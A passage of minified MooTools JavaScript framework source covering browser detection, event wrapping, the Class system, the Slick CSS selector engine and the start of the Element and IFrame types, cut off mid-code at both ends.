XMLHttpRequest(); };var o=function(){return new ActiveXObject("MSXML2.XMLHTTP");};var e=function(){return new ActiveXObject("Microsoft.XMLHTTP");};return Function.attempt(function(){p(); return p;},function(){o();return o;},function(){e();return e;});})();n.Features.xhr=!!(n.Request);var i=(Function.attempt(function(){return navigator.plugins["Shockwave Flash"].description; },function(){return new ActiveXObject("ShockwaveFlash.ShockwaveFlash").GetVariable("$version");})||"0 r0").match(/\d+/g);n.Plugins.Flash={version:Number(i[0]||"0."+i[1])||0,build:Number(i[2])||0}; n.exec=function(o){if(!o){return o;}if(g.execScript){g.execScript(o);}else{var e=j.createElement("script");e.setAttribute("type","text/javascript");e.text=o; j.head.appendChild(e);j.head.removeChild(e);}return o;};String.implement("stripScripts",function(o){var e="";var p=this.replace(/<script[^>]*>([\s\S]*?)<\/script>/gi,function(q,r){e+=r+"\n"; return"";});if(o===true){n.exec(e);}else{if(typeOf(o)=="function"){o(e,p);}}return p;});n.extend({Document:this.Document,Window:this.Window,Element:this.Element,Event:this.Event}); this.Window=this.$constructor=new Type("Window",function(){});this.$family=Function.from("window").hide();Window.mirror(function(e,o){g[e]=o;});this.Document=j.$constructor=new Type("Document",function(){}); j.$family=Function.from("document").hide();Document.mirror(function(e,o){j[e]=o;});j.html=j.documentElement;if(!j.head){j.head=j.getElementsByTagName("head")[0]; }if(j.execCommand){try{j.execCommand("BackgroundImageCache",false,true);}catch(f){}}if(this.attachEvent&&!this.addEventListener){var c=function(){this.detachEvent("onunload",c); j.head=j.html=j.window=null;};this.attachEvent("onunload",c);}var l=Array.from;try{l(j.html.childNodes);}catch(f){Array.from=function(o){if(typeof o!="string"&&Type.isEnumerable(o)&&typeOf(o)!="array"){var e=o.length,p=new Array(e); while(e--){p[e]=o[e];}return p;}return l(o);};var k=Array.prototype,m=k.slice;["pop","push","reverse","shift","sort","splice","unshift","concat","join","slice"].each(function(e){var o=k[e]; Array[e]=function(p){return o.apply(Array.from(p),m.call(arguments,1));};});}})();(function(){var b={};var a=this.DOMEvent=new Type("DOMEvent",function(c,g){if(!g){g=window; }c=c||g.event;if(c.$extended){return c;}this.event=c;this.$extended=true;this.shift=c.shiftKey;this.control=c.ctrlKey;this.alt=c.altKey;this.meta=c.metaKey; var i=this.type=c.type;var h=c.target||c.srcElement;while(h&&h.nodeType==3){h=h.parentNode;}this.target=document.id(h);if(i.indexOf("key")==0){var d=this.code=(c.which||c.keyCode); this.key=b[d];if(i=="keydown"){if(d>111&&d<124){this.key="f"+(d-111);}else{if(d>95&&d<106){this.key=d-96;}}}if(this.key==null){this.key=String.fromCharCode(d).toLowerCase(); }}else{if(i=="click"||i=="dblclick"||i=="contextmenu"||i=="DOMMouseScroll"||i.indexOf("mouse")==0){var j=g.document;j=(!j.compatMode||j.compatMode=="CSS1Compat")?j.html:j.body; this.page={x:(c.pageX!=null)?c.pageX:c.clientX+j.scrollLeft,y:(c.pageY!=null)?c.pageY:c.clientY+j.scrollTop};this.client={x:(c.pageX!=null)?c.pageX-g.pageXOffset:c.clientX,y:(c.pageY!=null)?c.pageY-g.pageYOffset:c.clientY}; if(i=="DOMMouseScroll"||i=="mousewheel"){this.wheel=(c.wheelDelta)?c.wheelDelta/120:-(c.detail||0)/3;}this.rightClick=(c.which==3||c.button==2);if(i=="mouseover"||i=="mouseout"){var k=c.relatedTarget||c[(i=="mouseover"?"from":"to")+"Element"]; while(k&&k.nodeType==3){k=k.parentNode;}this.relatedTarget=document.id(k);}}else{if(i.indexOf("touch")==0||i.indexOf("gesture")==0){this.rotation=c.rotation; this.scale=c.scale;this.targetTouches=c.targetTouches;this.changedTouches=c.changedTouches;var f=this.touches=c.touches;if(f&&f[0]){var e=f[0];this.page={x:e.pageX,y:e.pageY}; this.client={x:e.clientX,y:e.clientY};}}}}if(!this.client){this.client={};}if(!this.page){this.page={};}});a.implement({stop:function(){return this.preventDefault().stopPropagation(); },stopPropagation:function(){if(this.event.stopPropagation){this.event.stopPropagation();}else{this.event.cancelBubble=true;}return this;},preventDefault:function(){if(this.event.preventDefault){this.event.preventDefault(); }else{this.event.returnValue=false;}return this;}});a.defineKey=function(d,c){b[d]=c;return this;};a.defineKeys=a.defineKey.overloadSetter(true);a.defineKeys({"38":"up","40":"down","37":"left","39":"right","27":"esc","32":"space","8":"backspace","9":"tab","46":"delete","13":"enter"}); })();(function(){var a=this.Class=new Type("Class",function(h){if(instanceOf(h,Function)){h={initialize:h};}var g=function(){e(this);if(g.$prototyping){return this; }this.$caller=null;var i=(this.initialize)?this.initialize.apply(this,arguments):this;this.$caller=this.caller=null;return i;}.extend(this).implement(h); g.$constructor=a;g.prototype.$constructor=g;g.prototype.parent=c;return g;});var c=function(){if(!this.$caller){throw new Error('The method "parent" cannot be called.'); }var g=this.$caller.$name,h=this.$caller.$owner.parent,i=(h)?h.prototype[g]:null;if(!i){throw new Error('The method "'+g+'" has no parent.');}return i.apply(this,arguments); };var e=function(g){for(var h in g){var j=g[h];switch(typeOf(j)){case"object":var i=function(){};i.prototype=j;g[h]=e(new i);break;case"array":g[h]=j.clone(); break;}}return g;};var b=function(g,h,j){if(j.$origin){j=j.$origin;}var i=function(){if(j.$protected&&this.$caller==null){throw new Error('The method "'+h+'" cannot be called.'); }var l=this.caller,m=this.$caller;this.caller=m;this.$caller=i;var k=j.apply(this,arguments);this.$caller=m;this.caller=l;return k;}.extend({$owner:g,$origin:j,$name:h}); return i;};var f=function(h,i,g){if(a.Mutators.hasOwnProperty(h)){i=a.Mutators[h].call(this,i);if(i==null){return this;}}if(typeOf(i)=="function"){if(i.$hidden){return this; }this.prototype[h]=(g)?i:b(this,h,i);}else{Object.merge(this.prototype,h,i);}return this;};var d=function(g){g.$prototyping=true;var h=new g;delete g.$prototyping; return h;};a.implement("implement",f.overloadSetter());a.Mutators={Extends:function(g){this.parent=g;this.prototype=d(g);},Implements:function(g){Array.from(g).each(function(j){var h=new j; for(var i in h){f.call(this,i,h[i],true);}},this);}};})();(function(){this.Chain=new Class({$chain:[],chain:function(){this.$chain.append(Array.flatten(arguments)); return this;},callChain:function(){return(this.$chain.length)?this.$chain.shift().apply(this,arguments):false;},clearChain:function(){this.$chain.empty(); return this;}});var a=function(b){return b.replace(/^on([A-Z])/,function(c,d){return d.toLowerCase();});};this.Events=new Class({$events:{},addEvent:function(d,c,b){d=a(d); this.$events[d]=(this.$events[d]||[]).include(c);if(b){c.internal=true;}return this;},addEvents:function(b){for(var c in b){this.addEvent(c,b[c]);}return this; },fireEvent:function(e,c,b){e=a(e);var d=this.$events[e];if(!d){return this;}c=Array.from(c);d.each(function(f){if(b){f.delay(b,this,c);}else{f.apply(this,c); }},this);return this;},removeEvent:function(e,d){e=a(e);var c=this.$events[e];if(c&&!d.internal){var b=c.indexOf(d);if(b!=-1){delete c[b];}}return this; },removeEvents:function(d){var e;if(typeOf(d)=="object"){for(e in d){this.removeEvent(e,d[e]);}return this;}if(d){d=a(d);}for(e in this.$events){if(d&&d!=e){continue; }var c=this.$events[e];for(var b=c.length;b--;){if(b in c){this.removeEvent(e,c[b]);}}}return this;}});this.Options=new Class({setOptions:function(){var b=this.options=Object.merge.apply(null,[{},this.options].append(arguments)); if(this.addEvent){for(var c in b){if(typeOf(b[c])!="function"||!(/^on[A-Z]/).test(c)){continue;}this.addEvent(c,b[c]);delete b[c];}}return this;}});})(); (function(){var k,n,l,g,a={},c={},m=/\\/g;var e=function(q,p){if(q==null){return null;}if(q.Slick===true){return q;}q=(""+q).replace(/^\s+|\s+$/g,"");g=!!p; var o=(g)?c:a;if(o[q]){return o[q];}k={Slick:true,expressions:[],raw:q,reverse:function(){return e(this.raw,true);}};n=-1;while(q!=(q=q.replace(j,b))){}k.length=k.expressions.length; return o[k.raw]=(g)?h(k):k;};var i=function(o){if(o==="!"){return" ";}else{if(o===" "){return"!";}else{if((/^!/).test(o)){return o.replace(/^!/,"");}else{return"!"+o; }}}};var h=function(u){var r=u.expressions;for(var p=0;p<r.length;p++){var t=r[p];var q={parts:[],tag:"*",combinator:i(t[0].combinator)};for(var o=0;o<t.length; o++){var s=t[o];if(!s.reverseCombinator){s.reverseCombinator=" ";}s.combinator=s.reverseCombinator;delete s.reverseCombinator;}t.reverse().push(q);}return u; };var f=function(o){return o.replace(/[-[\]{}()*+?.\\^$|,#\s]/g,function(p){return"\\"+p;});};var j=new RegExp("^(?:\\s*(,)\\s*|\\s*(<combinator>+)\\s*|(\\s+)|(<unicode>+|\\*)|\\#(<unicode>+)|\\.(<unicode>+)|\\[\\s*(<unicode1>+)(?:\\s*([*^$!~|]?=)(?:\\s*(?:([\"']?)(.*?)\\9)))?\\s*\\](?!\\])|(:+)(<unicode>+)(?:\\((?:(?:([\"'])([^\\13]*)\\13)|((?:\\([^)]+\\)|[^()]*)+))\\))?)".replace(/<combinator>/,"["+f(">+~`!@$%^&={}\\;</")+"]").replace(/<unicode>/g,"(?:[\\w\\u00a1-\\uFFFF-]|\\\\[^\\s0-9a-f])").replace(/<unicode1>/g,"(?:[:\\w\\u00a1-\\uFFFF-]|\\\\[^\\s0-9a-f])")); function b(x,s,D,z,r,C,q,B,A,y,u,F,G,v,p,w){if(s||n===-1){k.expressions[++n]=[];l=-1;if(s){return"";}}if(D||z||l===-1){D=D||" ";var t=k.expressions[n]; if(g&&t[l]){t[l].reverseCombinator=i(D);}t[++l]={combinator:D,tag:"*"};}var o=k.expressions[n][l];if(r){o.tag=r.replace(m,"");}else{if(C){o.id=C.replace(m,""); }else{if(q){q=q.replace(m,"");if(!o.classList){o.classList=[];}if(!o.classes){o.classes=[];}o.classList.push(q);o.classes.push({value:q,regexp:new RegExp("(^|\\s)"+f(q)+"(\\s|$)")}); }else{if(G){w=w||p;w=w?w.replace(m,""):null;if(!o.pseudos){o.pseudos=[];}o.pseudos.push({key:G.replace(m,""),value:w,type:F.length==1?"class":"element"}); }else{if(B){B=B.replace(m,"");u=(u||"").replace(m,"");var E,H;switch(A){case"^=":H=new RegExp("^"+f(u));break;case"$=":H=new RegExp(f(u)+"$");break;case"~=":H=new RegExp("(^|\\s)"+f(u)+"(\\s|$)"); break;case"|=":H=new RegExp("^"+f(u)+"(-|$)");break;case"=":E=function(I){return u==I;};break;case"*=":E=function(I){return I&&I.indexOf(u)>-1;};break; case"!=":E=function(I){return u!=I;};break;default:E=function(I){return !!I;};}if(u==""&&(/^[*$^]=$/).test(A)){E=function(){return false;};}if(!E){E=function(I){return I&&H.test(I); };}if(!o.attributes){o.attributes=[];}o.attributes.push({key:B,operator:A,value:u,test:E});}}}}}return"";}var d=(this.Slick||{});d.parse=function(o){return e(o); };d.escapeRegExp=f;if(!this.Slick){this.Slick=d;}}).apply((typeof exports!="undefined")?exports:this);(function(){var k={},m={},d=Object.prototype.toString; k.isNativeCode=function(c){return(/\{\s*\[native code\]\s*\}/).test(""+c);};k.isXML=function(c){return(!!c.xmlVersion)||(!!c.xml)||(d.call(c)=="[object XMLDocument]")||(c.nodeType==9&&c.documentElement.nodeName!="HTML"); };k.setDocument=function(w){var p=w.nodeType;if(p==9){}else{if(p){w=w.ownerDocument;}else{if(w.navigator){w=w.document;}else{return;}}}if(this.document===w){return; }this.document=w;var A=w.documentElement,o=this.getUIDXML(A),s=m[o],r;if(s){for(r in s){this[r]=s[r];}return;}s=m[o]={};s.root=A;s.isXMLDocument=this.isXML(w); s.brokenStarGEBTN=s.starSelectsClosedQSA=s.idGetsName=s.brokenMixedCaseQSA=s.brokenGEBCN=s.brokenCheckedQSA=s.brokenEmptyAttributeQSA=s.isHTMLDocument=s.nativeMatchesSelector=false; var q,u,y,z,t;var x,v="slick_uniqueid";var c=w.createElement("div");var n=w.body||w.getElementsByTagName("body")[0]||A;n.appendChild(c);try{c.innerHTML='<a id="'+v+'"></a>'; s.isHTMLDocument=!!w.getElementById(v);}catch(C){}if(s.isHTMLDocument){c.style.display="none";c.appendChild(w.createComment(""));u=(c.getElementsByTagName("*").length>1); try{c.innerHTML="foo</foo>";x=c.getElementsByTagName("*");q=(x&&!!x.length&&x[0].nodeName.charAt(0)=="/");}catch(C){}s.brokenStarGEBTN=u||q;try{c.innerHTML='<a name="'+v+'"></a><b id="'+v+'"></b>'; s.idGetsName=w.getElementById(v)===c.firstChild;}catch(C){}if(c.getElementsByClassName){try{c.innerHTML='<a class="f"></a><a class="b"></a>';c.getElementsByClassName("b").length; c.firstChild.className="b";z=(c.getElementsByClassName("b").length!=2);}catch(C){}try{c.innerHTML='<a class="a"></a><a class="f b a"></a>';y=(c.getElementsByClassName("a").length!=2); }catch(C){}s.brokenGEBCN=z||y;}if(c.querySelectorAll){try{c.innerHTML="foo</foo>";x=c.querySelectorAll("*");s.starSelectsClosedQSA=(x&&!!x.length&&x[0].nodeName.charAt(0)=="/"); }catch(C){}try{c.innerHTML='<a class="MiX"></a>';s.brokenMixedCaseQSA=!c.querySelectorAll(".MiX").length;}catch(C){}try{c.innerHTML='<select><option selected="selected">a</option></select>'; s.brokenCheckedQSA=(c.querySelectorAll(":checked").length==0);}catch(C){}try{c.innerHTML='<a class=""></a>';s.brokenEmptyAttributeQSA=(c.querySelectorAll('[class*=""]').length!=0); }catch(C){}}try{c.innerHTML='<form action="s"><input id="action"/></form>';t=(c.firstChild.getAttribute("action")!="s");}catch(C){}s.nativeMatchesSelector=A.matchesSelector||A.mozMatchesSelector||A.webkitMatchesSelector; if(s.nativeMatchesSelector){try{s.nativeMatchesSelector.call(A,":slick");s.nativeMatchesSelector=null;}catch(C){}}}try{A.slick_expando=1;delete A.slick_expando; s.getUID=this.getUIDHTML;}catch(C){s.getUID=this.getUIDXML;}n.removeChild(c);c=x=n=null;s.getAttribute=(s.isHTMLDocument&&t)?function(G,E){var H=this.attributeGetters[E]; if(H){return H.call(G);}var F=G.getAttributeNode(E);return(F)?F.nodeValue:null;}:function(F,E){var G=this.attributeGetters[E];return(G)?G.call(F):F.getAttribute(E); };s.hasAttribute=(A&&this.isNativeCode(A.hasAttribute))?function(F,E){return F.hasAttribute(E);}:function(F,E){F=F.getAttributeNode(E);return !!(F&&(F.specified||F.nodeValue)); };var D=A&&this.isNativeCode(A.contains),B=w&&this.isNativeCode(w.contains);s.contains=(D&&B)?function(E,F){return E.contains(F);}:(D&&!B)?function(E,F){return E===F||((E===w)?w.documentElement:E).contains(F); }:(A&&A.compareDocumentPosition)?function(E,F){return E===F||!!(E.compareDocumentPosition(F)&16);}:function(E,F){if(F){do{if(F===E){return true;}}while((F=F.parentNode)); }return false;};s.documentSorter=(A.compareDocumentPosition)?function(F,E){if(!F.compareDocumentPosition||!E.compareDocumentPosition){return 0;}return F.compareDocumentPosition(E)&4?-1:F===E?0:1; }:("sourceIndex" in A)?function(F,E){if(!F.sourceIndex||!E.sourceIndex){return 0;}return F.sourceIndex-E.sourceIndex;}:(w.createRange)?function(H,F){if(!H.ownerDocument||!F.ownerDocument){return 0; }var G=H.ownerDocument.createRange(),E=F.ownerDocument.createRange();G.setStart(H,0);G.setEnd(H,0);E.setStart(F,0);E.setEnd(F,0);return G.compareBoundaryPoints(Range.START_TO_END,E); }:null;A=null;for(r in s){this[r]=s[r];}};var f=/^([#.]?)((?:[\w-]+|\*))$/,h=/\[.+[*$^]=(?:""|'')?\]/,g={};k.search=function(U,z,H,s){var p=this.found=(s)?null:(H||[]); if(!U){return p;}else{if(U.navigator){U=U.document;}else{if(!U.nodeType){return p;}}}var F,O,V=this.uniques={},I=!!(H&&H.length),y=(U.nodeType==9);if(this.document!==(y?U:U.ownerDocument)){this.setDocument(U); }if(I){for(O=p.length;O--;){V[this.getUID(p[O])]=true;}}if(typeof z=="string"){var r=z.match(f);simpleSelectors:if(r){var u=r[1],v=r[2],A,E;if(!u){if(v=="*"&&this.brokenStarGEBTN){break simpleSelectors; }E=U.getElementsByTagName(v);if(s){return E[0]||null;}for(O=0;A=E[O++];){if(!(I&&V[this.getUID(A)])){p.push(A);}}}else{if(u=="#"){if(!this.isHTMLDocument||!y){break simpleSelectors; }A=U.getElementById(v);if(!A){return p;}if(this.idGetsName&&A.getAttributeNode("id").nodeValue!=v){break simpleSelectors;}if(s){return A||null;}if(!(I&&V[this.getUID(A)])){p.push(A); }}else{if(u=="."){if(!this.isHTMLDocument||((!U.getElementsByClassName||this.brokenGEBCN)&&U.querySelectorAll)){break simpleSelectors;}if(U.getElementsByClassName&&!this.brokenGEBCN){E=U.getElementsByClassName(v); if(s){return E[0]||null;}for(O=0;A=E[O++];){if(!(I&&V[this.getUID(A)])){p.push(A);}}}else{var T=new RegExp("(^|\\s)"+e.escapeRegExp(v)+"(\\s|$)");E=U.getElementsByTagName("*"); for(O=0;A=E[O++];){className=A.className;if(!(className&&T.test(className))){continue;}if(s){return A;}if(!(I&&V[this.getUID(A)])){p.push(A);}}}}}}if(I){this.sort(p); }return(s)?null:p;}querySelector:if(U.querySelectorAll){if(!this.isHTMLDocument||g[z]||this.brokenMixedCaseQSA||(this.brokenCheckedQSA&&z.indexOf(":checked")>-1)||(this.brokenEmptyAttributeQSA&&h.test(z))||(!y&&z.indexOf(",")>-1)||e.disableQSA){break querySelector; }var S=z,x=U;if(!y){var C=x.getAttribute("id"),t="slickid__";x.setAttribute("id",t);S="#"+t+" "+S;U=x.parentNode;}try{if(s){return U.querySelector(S)||null; }else{E=U.querySelectorAll(S);}}catch(Q){g[z]=1;break querySelector;}finally{if(!y){if(C){x.setAttribute("id",C);}else{x.removeAttribute("id");}U=x;}}if(this.starSelectsClosedQSA){for(O=0; A=E[O++];){if(A.nodeName>"@"&&!(I&&V[this.getUID(A)])){p.push(A);}}}else{for(O=0;A=E[O++];){if(!(I&&V[this.getUID(A)])){p.push(A);}}}if(I){this.sort(p); }return p;}F=this.Slick.parse(z);if(!F.length){return p;}}else{if(z==null){return p;}else{if(z.Slick){F=z;}else{if(this.contains(U.documentElement||U,z)){(p)?p.push(z):p=z; return p;}else{return p;}}}}this.posNTH={};this.posNTHLast={};this.posNTHType={};this.posNTHTypeLast={};this.push=(!I&&(s||(F.length==1&&F.expressions[0].length==1)))?this.pushArray:this.pushUID; if(p==null){p=[];}var M,L,K;var B,J,D,c,q,G,W;var N,P,o,w,R=F.expressions;search:for(O=0;(P=R[O]);O++){for(M=0;(o=P[M]);M++){B="combinator:"+o.combinator; if(!this[B]){continue search;}J=(this.isXMLDocument)?o.tag:o.tag.toUpperCase();D=o.id;c=o.classList;q=o.classes;G=o.attributes;W=o.pseudos;w=(M===(P.length-1)); this.bitUniques={};if(w){this.uniques=V;this.found=p;}else{this.uniques={};this.found=[];}if(M===0){this[B](U,J,D,q,G,W,c);if(s&&w&&p.length){break search; }}else{if(s&&w){for(L=0,K=N.length;L<K;L++){this[B](N[L],J,D,q,G,W,c);if(p.length){break search;}}}else{for(L=0,K=N.length;L<K;L++){this[B](N[L],J,D,q,G,W,c); }}}N=this.found;}}if(I||(F.expressions.length>1)){this.sort(p);}return(s)?(p[0]||null):p;};k.uidx=1;k.uidk="slick-uniqueid";k.getUIDXML=function(n){var c=n.getAttribute(this.uidk); if(!c){c=this.uidx++;n.setAttribute(this.uidk,c);}return c;};k.getUIDHTML=function(c){return c.uniqueNumber||(c.uniqueNumber=this.uidx++);};k.sort=function(c){if(!this.documentSorter){return c; }c.sort(this.documentSorter);return c;};k.cacheNTH={};k.matchNTH=/^([+-]?\d*)?([a-z]+)?([+-]\d+)?$/;k.parseNTHArgument=function(q){var o=q.match(this.matchNTH); if(!o){return false;}var p=o[2]||false;var n=o[1]||1;if(n=="-"){n=-1;}var c=+o[3]||0;o=(p=="n")?{a:n,b:c}:(p=="odd")?{a:2,b:1}:(p=="even")?{a:2,b:0}:{a:0,b:n}; return(this.cacheNTH[q]=o);};k.createNTHPseudo=function(p,n,c,o){return function(s,q){var u=this.getUID(s);if(!this[c][u]){var A=s.parentNode;if(!A){return false; }var r=A[p],t=1;if(o){var z=s.nodeName;do{if(r.nodeName!=z){continue;}this[c][this.getUID(r)]=t++;}while((r=r[n]));}else{do{if(r.nodeType!=1){continue; }this[c][this.getUID(r)]=t++;}while((r=r[n]));}}q=q||"n";var v=this.cacheNTH[q]||this.parseNTHArgument(q);if(!v){return false;}var y=v.a,x=v.b,w=this[c][u]; if(y==0){return x==w;}if(y>0){if(w<x){return false;}}else{if(x<w){return false;}}return((w-x)%y)==0;};};k.pushArray=function(p,c,r,o,n,q){if(this.matchSelector(p,c,r,o,n,q)){this.found.push(p); }};k.pushUID=function(q,c,s,p,n,r){var o=this.getUID(q);if(!this.uniques[o]&&this.matchSelector(q,c,s,p,n,r)){this.uniques[o]=true;this.found.push(q);}}; k.matchNode=function(n,o){if(this.isHTMLDocument&&this.nativeMatchesSelector){try{return this.nativeMatchesSelector.call(n,o.replace(/\[([^=]+)=\s*([^'"\]]+?)\s*\]/g,'[$1="$2"]')); }catch(u){}}var t=this.Slick.parse(o);if(!t){return true;}var r=t.expressions,s=0,q;for(q=0;(currentExpression=r[q]);q++){if(currentExpression.length==1){var p=currentExpression[0]; if(this.matchSelector(n,(this.isXMLDocument)?p.tag:p.tag.toUpperCase(),p.id,p.classes,p.attributes,p.pseudos)){return true;}s++;}}if(s==t.length){return false; }var c=this.search(this.document,t),v;for(q=0;v=c[q++];){if(v===n){return true;}}return false;};k.matchPseudo=function(q,c,p){var n="pseudo:"+c;if(this[n]){return this[n](q,p); }var o=this.getAttribute(q,c);return(p)?p==o:!!o;};k.matchSelector=function(o,v,c,p,q,s){if(v){var t=(this.isXMLDocument)?o.nodeName:o.nodeName.toUpperCase(); if(v=="*"){if(t<"@"){return false;}}else{if(t!=v){return false;}}}if(c&&o.getAttribute("id")!=c){return false;}var r,n,u;if(p){for(r=p.length;r--;){u=this.getAttribute(o,"class"); if(!(u&&p[r].regexp.test(u))){return false;}}}if(q){for(r=q.length;r--;){n=q[r];if(n.operator?!n.test(this.getAttribute(o,n.key)):!this.hasAttribute(o,n.key)){return false; }}}if(s){for(r=s.length;r--;){n=s[r];if(!this.matchPseudo(o,n.key,n.value)){return false;}}}return true;};var j={" ":function(q,w,n,r,s,u,p){var t,v,o; if(this.isHTMLDocument){getById:if(n){v=this.document.getElementById(n);if((!v&&q.all)||(this.idGetsName&&v&&v.getAttributeNode("id").nodeValue!=n)){o=q.all[n]; if(!o){return;}if(!o[0]){o=[o];}for(t=0;v=o[t++];){var c=v.getAttributeNode("id");if(c&&c.nodeValue==n){this.push(v,w,null,r,s,u);break;}}return;}if(!v){if(this.contains(this.root,q)){return; }else{break getById;}}else{if(this.document!==q&&!this.contains(q,v)){return;}}this.push(v,w,null,r,s,u);return;}getByClass:if(r&&q.getElementsByClassName&&!this.brokenGEBCN){o=q.getElementsByClassName(p.join(" ")); if(!(o&&o.length)){break getByClass;}for(t=0;v=o[t++];){this.push(v,w,n,null,s,u);}return;}}getByTag:{o=q.getElementsByTagName(w);if(!(o&&o.length)){break getByTag; }if(!this.brokenStarGEBTN){w=null;}for(t=0;v=o[t++];){this.push(v,w,n,r,s,u);}}},">":function(p,c,r,o,n,q){if((p=p.firstChild)){do{if(p.nodeType==1){this.push(p,c,r,o,n,q); }}while((p=p.nextSibling));}},"+":function(p,c,r,o,n,q){while((p=p.nextSibling)){if(p.nodeType==1){this.push(p,c,r,o,n,q);break;}}},"^":function(p,c,r,o,n,q){p=p.firstChild; if(p){if(p.nodeType==1){this.push(p,c,r,o,n,q);}else{this["combinator:+"](p,c,r,o,n,q);}}},"~":function(q,c,s,p,n,r){while((q=q.nextSibling)){if(q.nodeType!=1){continue; }var o=this.getUID(q);if(this.bitUniques[o]){break;}this.bitUniques[o]=true;this.push(q,c,s,p,n,r);}},"++":function(p,c,r,o,n,q){this["combinator:+"](p,c,r,o,n,q); this["combinator:!+"](p,c,r,o,n,q);},"~~":function(p,c,r,o,n,q){this["combinator:~"](p,c,r,o,n,q);this["combinator:!~"](p,c,r,o,n,q);},"!":function(p,c,r,o,n,q){while((p=p.parentNode)){if(p!==this.document){this.push(p,c,r,o,n,q); }}},"!>":function(p,c,r,o,n,q){p=p.parentNode;if(p!==this.document){this.push(p,c,r,o,n,q);}},"!+":function(p,c,r,o,n,q){while((p=p.previousSibling)){if(p.nodeType==1){this.push(p,c,r,o,n,q); break;}}},"!^":function(p,c,r,o,n,q){p=p.lastChild;if(p){if(p.nodeType==1){this.push(p,c,r,o,n,q);}else{this["combinator:!+"](p,c,r,o,n,q);}}},"!~":function(q,c,s,p,n,r){while((q=q.previousSibling)){if(q.nodeType!=1){continue; }var o=this.getUID(q);if(this.bitUniques[o]){break;}this.bitUniques[o]=true;this.push(q,c,s,p,n,r);}}};for(var i in j){k["combinator:"+i]=j[i];}var l={empty:function(c){var n=c.firstChild; return !(n&&n.nodeType==1)&&!(c.innerText||c.textContent||"").length;},not:function(c,n){return !this.matchNode(c,n);},contains:function(c,n){return(c.innerText||c.textContent||"").indexOf(n)>-1; },"first-child":function(c){while((c=c.previousSibling)){if(c.nodeType==1){return false;}}return true;},"last-child":function(c){while((c=c.nextSibling)){if(c.nodeType==1){return false; }}return true;},"only-child":function(o){var n=o;while((n=n.previousSibling)){if(n.nodeType==1){return false;}}var c=o;while((c=c.nextSibling)){if(c.nodeType==1){return false; }}return true;},"nth-child":k.createNTHPseudo("firstChild","nextSibling","posNTH"),"nth-last-child":k.createNTHPseudo("lastChild","previousSibling","posNTHLast"),"nth-of-type":k.createNTHPseudo("firstChild","nextSibling","posNTHType",true),"nth-last-of-type":k.createNTHPseudo("lastChild","previousSibling","posNTHTypeLast",true),index:function(n,c){return this["pseudo:nth-child"](n,""+(c+1)); },even:function(c){return this["pseudo:nth-child"](c,"2n");},odd:function(c){return this["pseudo:nth-child"](c,"2n+1");},"first-of-type":function(c){var n=c.nodeName; while((c=c.previousSibling)){if(c.nodeName==n){return false;}}return true;},"last-of-type":function(c){var n=c.nodeName;while((c=c.nextSibling)){if(c.nodeName==n){return false; }}return true;},"only-of-type":function(o){var n=o,p=o.nodeName;while((n=n.previousSibling)){if(n.nodeName==p){return false;}}var c=o;while((c=c.nextSibling)){if(c.nodeName==p){return false; }}return true;},enabled:function(c){return !c.disabled;},disabled:function(c){return c.disabled;},checked:function(c){return c.checked||c.selected;},focus:function(c){return this.isHTMLDocument&&this.document.activeElement===c&&(c.href||c.type||this.hasAttribute(c,"tabindex")); },root:function(c){return(c===this.root);},selected:function(c){return c.selected;}};for(var b in l){k["pseudo:"+b]=l[b];}var a=k.attributeGetters={"for":function(){return("htmlFor" in this)?this.htmlFor:this.getAttribute("for"); },href:function(){return("href" in this)?this.getAttribute("href",2):this.getAttribute("href");},style:function(){return(this.style)?this.style.cssText:this.getAttribute("style"); },tabindex:function(){var c=this.getAttributeNode("tabindex");return(c&&c.specified)?c.nodeValue:null;},type:function(){return this.getAttribute("type"); },maxlength:function(){var c=this.getAttributeNode("maxLength");return(c&&c.specified)?c.nodeValue:null;}};a.MAXLENGTH=a.maxLength=a.maxlength;var e=k.Slick=(this.Slick||{}); e.version="1.1.7";e.search=function(n,o,c){return k.search(n,o,c);};e.find=function(c,n){return k.search(c,n,null,true);};e.contains=function(c,n){k.setDocument(c); return k.contains(c,n);};e.getAttribute=function(n,c){k.setDocument(n);return k.getAttribute(n,c);};e.hasAttribute=function(n,c){k.setDocument(n);return k.hasAttribute(n,c); };e.match=function(n,c){if(!(n&&c)){return false;}if(!c||c===n){return true;}k.setDocument(n);return k.matchNode(n,c);};e.defineAttributeGetter=function(c,n){k.attributeGetters[c]=n; return this;};e.lookupAttributeGetter=function(c){return k.attributeGetters[c];};e.definePseudo=function(c,n){k["pseudo:"+c]=function(p,o){return n.call(p,o); };return this;};e.lookupPseudo=function(c){var n=k["pseudo:"+c];if(n){return function(o){return n.call(this,o);};}return null;};e.override=function(n,c){k.override(n,c); return this;};e.isXML=k.isXML;e.uidOf=function(c){return k.getUIDHTML(c);};if(!this.Slick){this.Slick=e;}}).apply((typeof exports!="undefined")?exports:this); var Element=function(b,g){var h=Element.Constructors[b];if(h){return h(g);}if(typeof b!="string"){return document.id(b).set(g);}if(!g){g={};}if(!(/^[\w-]+$/).test(b)){var e=Slick.parse(b).expressions[0][0]; b=(e.tag=="*")?"div":e.tag;if(e.id&&g.id==null){g.id=e.id;}var d=e.attributes;if(d){for(var a,f=0,c=d.length;f<c;f++){a=d[f];if(g[a.key]!=null){continue; }if(a.value!=null&&a.operator=="="){g[a.key]=a.value;}else{if(!a.value&&!a.operator){g[a.key]=true;}}}}if(e.classList&&g["class"]==null){g["class"]=e.classList.join(" "); }}return document.newElement(b,g);};if(Browser.Element){Element.prototype=Browser.Element.prototype;Element.prototype._fireEvent=(function(a){return function(b,c){return a.call(this,b,c); };})(Element.prototype.fireEvent);}new Type("Element",Element).mirror(function(a){if(Array.prototype[a]){return;}var b={};b[a]=function(){var h=[],e=arguments,j=true; for(var g=0,d=this.length;g<d;g++){var f=this[g],c=h[g]=f[a].apply(f,e);j=(j&&typeOf(c)=="element");}return(j)?new Elements(h):h;};Elements.implement(b); });if(!Browser.Element){Element.parent=Object;Element.Prototype={"$constructor":Element,"$family":Function.from("element").hide()};Element.mirror(function(a,b){Element.Prototype[a]=b; });}Element.Constructors={};var IFrame=new Type("IFrame",function(){var e=Array.link(arguments,{properties:Type.isObject,iframe:function(f){return(f!=null); }});var c=e.properties||{},b;if(e.iframe){b=document.id(e.iframe);}var d=c.onload||function(){};delete c.onload;c.id=c.name=[c.id,c.name,b?(b.id||b.name):"IFrame_"+String.uniqueID()].pick(); b=new Element(b||"iframe",c);var a=function(){d.call(b.contentWindow);};if(window.frames[c.id]){a();}else{b.addListener("load",a);}return b;});var Elements=this.Elements=function(a){if(a&&a.length){var e={},d; for(var c=0;d=a[c++];){var 